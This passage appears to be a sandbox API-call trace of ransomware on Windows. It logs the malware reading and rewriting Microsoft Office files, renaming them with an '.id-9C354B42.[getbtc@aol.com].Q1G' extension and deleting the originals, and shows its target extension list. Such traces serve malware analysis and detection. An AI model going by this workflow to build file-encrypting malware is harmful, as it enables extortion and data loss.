lpNumberOfBytesWritten=0x355fc9c*=0x80, lpOverlapped=0x0) returned 1 [0252.121] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.121] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xf6, lpOverlapped=0x0) returned 1 [0252.123] SetEndOfFile (hFile=0x398) returned 1 [0252.123] CloseHandle (hObject=0x398) returned 1 [0252.123] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.123] SetEndOfFile (hFile=0x3a8) returned 1 [0252.125] CloseHandle (hObject=0x3a8) returned 1 [0252.125] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onenote_k_col.hxk")) returned 1 [0252.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.126] lstrlenW (lpString=".doc") returned 4 [0252.126] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.126] lstrlenW (lpString=".docx") returned 5 [0252.126] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.126] lstrlenW (lpString=".pdf") returned 4 [0252.126] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.126] lstrlenW (lpString=".xls") returned 4 [0252.126] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.126] lstrlenW (lpString=".xlsx") returned 5 [0252.126] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.126] lstrlenW (lpString=".ppt") returned 4 [0252.126] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.126] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString=".zip") returned 4 [0252.127] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.127] lstrlenW (lpString=".rar") returned 4 [0252.127] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.127] lstrlenW (lpString=".bz2") returned 4 [0252.127] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.127] lstrlenW (lpString=".7z") returned 3 [0252.127] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString=".dbf") returned 4 [0252.127] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString=".1cd") returned 4 [0252.127] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString=".jpg") returned 4 [0252.127] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString=".doc") returned 4 [0252.127] lstrcmpiW (lpString1=".doc", lpString2=".HXK") returned -1 [0252.127] lstrlenW (lpString=".docx") returned 5 [0252.127] lstrcmpiW (lpString1=".docx", lpString2="L.HXK") returned -1 [0252.127] lstrlenW (lpString=".pdf") returned 4 [0252.127] lstrcmpiW (lpString1=".pdf", lpString2=".HXK") returned 1 [0252.127] lstrlenW (lpString=".xls") returned 4 [0252.127] lstrcmpiW (lpString1=".xls", lpString2=".HXK") returned 1 [0252.127] lstrlenW (lpString=".xlsx") returned 5 [0252.127] lstrcmpiW (lpString1=".xlsx", lpString2="L.HXK") returned -1 [0252.127] lstrlenW (lpString=".ppt") returned 4 [0252.127] lstrcmpiW (lpString1=".ppt", lpString2=".HXK") returned 1 [0252.127] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.127] lstrlenW (lpString=".zip") returned 4 [0252.127] lstrcmpiW (lpString1=".zip", lpString2=".HXK") returned 1 [0252.128] lstrlenW (lpString=".rar") returned 4 [0252.128] lstrcmpiW (lpString1=".rar", lpString2=".HXK") returned 1 [0252.128] lstrlenW (lpString=".bz2") returned 4 [0252.128] lstrcmpiW (lpString1=".bz2", lpString2=".HXK") returned -1 [0252.128] lstrlenW (lpString=".7z") returned 3 [0252.128] lstrcmpiW (lpString1=".7z", lpString2="HXK") returned -1 [0252.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.128] lstrlenW (lpString=".dbf") returned 4 [0252.128] lstrcmpiW (lpString1=".dbf", lpString2=".HXK") returned -1 [0252.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.128] lstrlenW (lpString=".1cd") returned 4 [0252.128] lstrcmpiW (lpString1=".1cd", lpString2=".HXK") returned -1 [0252.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONENOTE_K_COL.HXK") returned 65 [0252.128] lstrlenW (lpString=".jpg") returned 4 [0252.128] lstrcmpiW (lpString1=".jpg", lpString2=".HXK") returned 1 [0252.128] lstrcmpiW (lpString1=".IDX_DLL", lpString2=".Q1G") returned -1 [0252.128] lstrlenW (lpString="ONINTL.REST.IDX_DLL") returned 19 [0252.128] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.129] GetFileSizeEx (in: hFile=0x3a8, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=114560) returned 1 [0252.129] CloseHandle (hObject=0x3a8) returned 1 [0252.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 0x20 [0252.129] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3a8 [0252.129] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.129] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.129] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll.id-9c354b42.[getbtc@aol.com].q1g"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398 [0252.130] GetLastError () returned 0x0 [0252.130] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x1bf80, lpOverlapped=0x0) returned 1 [0252.146] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0x1bf90, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0x1bf90, lpOverlapped=0x0) returned 1 [0252.148] ReadFile (in: hFile=0x3a8, lpBuffer=0x40e0020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x355fed4, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesRead=0x355fed4*=0x0, lpOverlapped=0x0) returned 1 [0252.148] WriteFile (in: hFile=0x398, lpBuffer=0x40e0020*, nNumberOfBytesToWrite=0xfa, lpNumberOfBytesWritten=0x355fc9c, lpOverlapped=0x0 | out: lpBuffer=0x40e0020*, lpNumberOfBytesWritten=0x355fc9c*=0xfa, lpOverlapped=0x0) returned 1 [0252.148] SetEndOfFile (hFile=0x398) returned 1 [0252.148] CloseHandle (hObject=0x398) returned 1 [0252.148] SetFilePointerEx (in: hFile=0x3a8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x355fec8 | out: lpNewFilePointer=0x0) returned 1 [0252.148] SetEndOfFile (hFile=0x3a8) returned 1 [0252.152] CloseHandle (hObject=0x3a8) returned 1 [0252.153] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL.id-9C354B42.[getbtc@aol.com].Q1G", dwFileAttributes=0x20) returned 1 [0252.167] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\onintl.rest.idx_dll")) returned 1 [0252.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.177] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.177] lstrlenW (lpString=".doc") returned 4 [0252.190] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.190] lstrlenW (lpString=".docx") returned 5 [0252.190] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.190] lstrlenW (lpString=".pdf") returned 4 [0252.190] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.190] lstrlenW (lpString=".xls") returned 4 [0252.190] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.190] lstrlenW (lpString=".xlsx") returned 5 [0252.190] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.190] lstrlenW (lpString=".ppt") returned 4 [0252.190] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString=".zip") returned 4 [0252.191] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString=".rar") returned 4 [0252.191] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString=".bz2") returned 4 [0252.191] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString=".7z") returned 3 [0252.191] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString=".dbf") returned 4 [0252.191] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString=".1cd") returned 4 [0252.191] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString=".jpg") returned 4 [0252.191] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString=".doc") returned 4 [0252.191] lstrcmpiW (lpString1=".doc", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString=".docx") returned 5 [0252.191] lstrcmpiW (lpString1=".docx", lpString2="X_DLL") returned -1 [0252.191] lstrlenW (lpString=".pdf") returned 4 [0252.191] lstrcmpiW (lpString1=".pdf", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString=".xls") returned 4 [0252.191] lstrcmpiW (lpString1=".xls", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString=".xlsx") returned 5 [0252.191] lstrcmpiW (lpString1=".xlsx", lpString2="X_DLL") returned -1 [0252.191] lstrlenW (lpString=".ppt") returned 4 [0252.191] lstrcmpiW (lpString1=".ppt", lpString2="_DLL") returned -1 [0252.191] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.191] lstrlenW (lpString=".zip") returned 4 [0252.191] lstrcmpiW (lpString1=".zip", lpString2="_DLL") returned -1 [0252.192] lstrlenW (lpString=".rar") returned 4 [0252.192] lstrcmpiW (lpString1=".rar", lpString2="_DLL") returned -1 [0252.192] lstrlenW (lpString=".bz2") returned 4 [0252.192] lstrcmpiW (lpString1=".bz2", lpString2="_DLL") returned -1 [0252.192] lstrlenW (lpString=".7z") returned 3 [0252.192] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.192] lstrlenW (lpString=".dbf") returned 4 [0252.192] lstrcmpiW (lpString1=".dbf", lpString2="_DLL") returned -1 [0252.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.192] lstrlenW (lpString=".1cd") returned 4 [0252.192] lstrcmpiW (lpString1=".1cd", lpString2="_DLL") returned -1 [0252.192] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\ONINTL.REST.IDX_DLL") returned 67 [0252.192] lstrlenW (lpString=".jpg") returned 4 [0252.192] lstrcmpiW (lpString1=".jpg", lpString2="_DLL") returned -1 [0252.192] lstrcmpiW (lpString1=".DLL", lpString2=".Q1G") returned -1 [0252.192] lstrlenW (lpString="OUTLLIBR.DLL") returned 12 [0252.192] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.670] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=6573424) returned 1 [0252.670] CloseHandle (hObject=0x3c0) returned 1 [0252.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll")) returned 0x20 [0252.670] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.670] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outllibr.dll.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString=".doc") returned 4 [0252.671] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString=".docx") returned 5 [0252.671] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0252.671] lstrlenW (lpString=".pdf") returned 4 [0252.671] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString=".xls") returned 4 [0252.671] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString=".xlsx") returned 5 [0252.671] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0252.671] lstrlenW (lpString=".ppt") returned 4 [0252.671] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString=".zip") returned 4 [0252.671] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString=".rar") returned 4 [0252.671] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString=".bz2") returned 4 [0252.671] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0252.671] lstrlenW (lpString=".7z") returned 3 [0252.671] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString=".dbf") returned 4 [0252.671] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString=".1cd") returned 4 [0252.671] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString=".jpg") returned 4 [0252.671] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.671] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.672] lstrlenW (lpString=".doc") returned 4 [0252.672] lstrcmpiW (lpString1=".doc", lpString2=".DLL") returned 1 [0252.672] lstrlenW (lpString=".docx") returned 5 [0252.672] lstrcmpiW (lpString1=".docx", lpString2="R.DLL") returned -1 [0252.672] lstrlenW (lpString=".pdf") returned 4 [0252.672] lstrcmpiW (lpString1=".pdf", lpString2=".DLL") returned 1 [0252.672] lstrlenW (lpString=".xls") returned 4 [0252.672] lstrcmpiW (lpString1=".xls", lpString2=".DLL") returned 1 [0252.672] lstrlenW (lpString=".xlsx") returned 5 [0252.672] lstrcmpiW (lpString1=".xlsx", lpString2="R.DLL") returned -1 [0252.672] lstrlenW (lpString=".ppt") returned 4 [0252.672] lstrcmpiW (lpString1=".ppt", lpString2=".DLL") returned 1 [0252.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.672] lstrlenW (lpString=".zip") returned 4 [0252.672] lstrcmpiW (lpString1=".zip", lpString2=".DLL") returned 1 [0252.672] lstrlenW (lpString=".rar") returned 4 [0252.672] lstrcmpiW (lpString1=".rar", lpString2=".DLL") returned 1 [0252.672] lstrlenW (lpString=".bz2") returned 4 [0252.672] lstrcmpiW (lpString1=".bz2", lpString2=".DLL") returned -1 [0252.672] lstrlenW (lpString=".7z") returned 3 [0252.672] lstrcmpiW (lpString1=".7z", lpString2="DLL") returned -1 [0252.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.672] lstrlenW (lpString=".dbf") returned 4 [0252.672] lstrcmpiW (lpString1=".dbf", lpString2=".DLL") returned -1 [0252.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.672] lstrlenW (lpString=".1cd") returned 4 [0252.672] lstrcmpiW (lpString1=".1cd", lpString2=".DLL") returned -1 [0252.672] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLLIBR.DLL") returned 60 [0252.672] lstrlenW (lpString=".jpg") returned 4 [0252.672] lstrcmpiW (lpString1=".jpg", lpString2=".DLL") returned 1 [0252.672] lstrcmpiW (lpString1=".HXS", lpString2=".Q1G") returned -1 [0252.672] lstrlenW (lpString="OUTLOOK.HXS") returned 11 [0252.672] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0252.673] GetFileSizeEx (in: hFile=0x3c0, lpFileSize=0x355ff1c | out: lpFileSize=0x355ff1c*=5000295) returned 1 [0252.673] CloseHandle (hObject=0x3c0) returned 1 [0252.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs")) returned 0x20 [0252.673] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0xffffffff [0252.673] MoveFileW (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS.id-9C354B42.[getbtc@aol.com].Q1G" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\outlook.hxs.id-9c354b42.[getbtc@aol.com].q1g")) returned 0 [0252.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.673] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.673] lstrlenW (lpString=".doc") returned 4 [0252.673] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0252.673] lstrlenW (lpString=".docx") returned 5 [0252.673] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0252.673] lstrlenW (lpString=".pdf") returned 4 [0252.674] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString=".xls") returned 4 [0252.674] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString=".xlsx") returned 5 [0252.674] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0252.674] lstrlenW (lpString=".ppt") returned 4 [0252.674] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.674] lstrlenW (lpString=".zip") returned 4 [0252.674] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString=".rar") returned 4 [0252.674] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString=".bz2") returned 4 [0252.674] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0252.674] lstrlenW (lpString=".7z") returned 3 [0252.674] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0252.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.674] lstrlenW (lpString=".dbf") returned 4 [0252.674] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0252.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.674] lstrlenW (lpString=".1cd") returned 4 [0252.674] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0252.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.674] lstrlenW (lpString=".jpg") returned 4 [0252.674] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.674] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.674] lstrlenW (lpString=".doc") returned 4 [0252.674] lstrcmpiW (lpString1=".doc", lpString2=".HXS") returned -1 [0252.674] lstrlenW (lpString=".docx") returned 5 [0252.674] lstrcmpiW (lpString1=".docx", lpString2="K.HXS") returned -1 [0252.674] lstrlenW (lpString=".pdf") returned 4 [0252.674] lstrcmpiW (lpString1=".pdf", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString=".xls") returned 4 [0252.674] lstrcmpiW (lpString1=".xls", lpString2=".HXS") returned 1 [0252.674] lstrlenW (lpString=".xlsx") returned 5 [0252.674] lstrcmpiW (lpString1=".xlsx", lpString2="K.HXS") returned -1 [0252.675] lstrlenW (lpString=".ppt") returned 4 [0252.675] lstrcmpiW (lpString1=".ppt", lpString2=".HXS") returned 1 [0252.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.675] lstrlenW (lpString=".zip") returned 4 [0252.675] lstrcmpiW (lpString1=".zip", lpString2=".HXS") returned 1 [0252.675] lstrlenW (lpString=".rar") returned 4 [0252.675] lstrcmpiW (lpString1=".rar", lpString2=".HXS") returned 1 [0252.675] lstrlenW (lpString=".bz2") returned 4 [0252.675] lstrcmpiW (lpString1=".bz2", lpString2=".HXS") returned -1 [0252.675] lstrlenW (lpString=".7z") returned 3 [0252.675] lstrcmpiW (lpString1=".7z", lpString2="HXS") returned -1 [0252.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.675] lstrlenW (lpString=".dbf") returned 4 [0252.675] lstrcmpiW (lpString1=".dbf", lpString2=".HXS") returned -1 [0252.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.675] lstrlenW (lpString=".1cd") returned 4 [0252.675] lstrcmpiW (lpString1=".1cd", lpString2=".HXS") returned -1 [0252.675] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK.HXS") returned 59 [0252.675] lstrlenW (lpString=".jpg") returned 4 [0252.675] lstrcmpiW (lpString1=".jpg", lpString2=".HXS") returned 1 [0252.675] lstrcmpiW (lpString1=".HXC", lpString2=".Q1G") returned -1 [0252.675] lstrlenW (lpString="OUTLOOK_COL.HXC") returned 15 [0252.675] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\OUTLOOK_COL.HXC" (normalized: 